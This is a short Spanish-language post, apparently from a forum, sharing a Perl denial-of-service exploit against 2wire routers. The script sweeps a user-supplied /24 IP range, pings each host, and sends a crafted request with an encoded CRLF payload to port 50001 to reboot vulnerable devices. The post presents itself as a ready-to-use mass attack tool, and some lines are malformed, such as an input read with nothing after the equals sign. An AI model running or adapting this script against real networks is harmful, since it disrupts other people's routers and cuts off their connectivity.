Exploit DoS 2wire https 5001

Bueno amigos aqui les dejo este nuevo exploit el cual reinicia todos los 2wire vulnerables dentro de un rango de IPs...

Les dejo el codigo fuente esta elaborada en perl y un video demostrativo.

Espero les guste:

use LWP::UserAgent;
use Net::Ping;


print "****************************************************\n";
print "**** 2wire Remote DoS HTTPS and 50001 ****\n";
print "**** Cr4fT1g4C ****\n";
print "**** http://cr4ft1g4c-s3cur1ty.blogspot.com/ ****\n";
print "**** ejemplo rango ip: 189.189.189 ****\n";
print "****************************************************\n";
print "inserta_rango_ip:";

$var = ;
chop ($var);
$var1 = 1;
$p = Net::Ping->new();
while ($var1<=254){
$var2 = ($var.".".$var1);
if ($p->ping($var2, 2)){
print "El 2wire $var2 responde\n";
$url = "https://$var2:50001/xslt?page=%0d%0a";
$ua = LWP::UserAgent->new;
close ($url);
$ua->get( $url);
close ($url);
print "El 2wire $var2 REINICIADO\n" unless $p->ping($var2);
print "El 2wire $var2 no vulnerable\n" if $p->ping($var2);
$p->close();
}
else{print "El 2wire $var2 no responde \n"}
$var1++;
}
print "ESCANEO REALIZADO";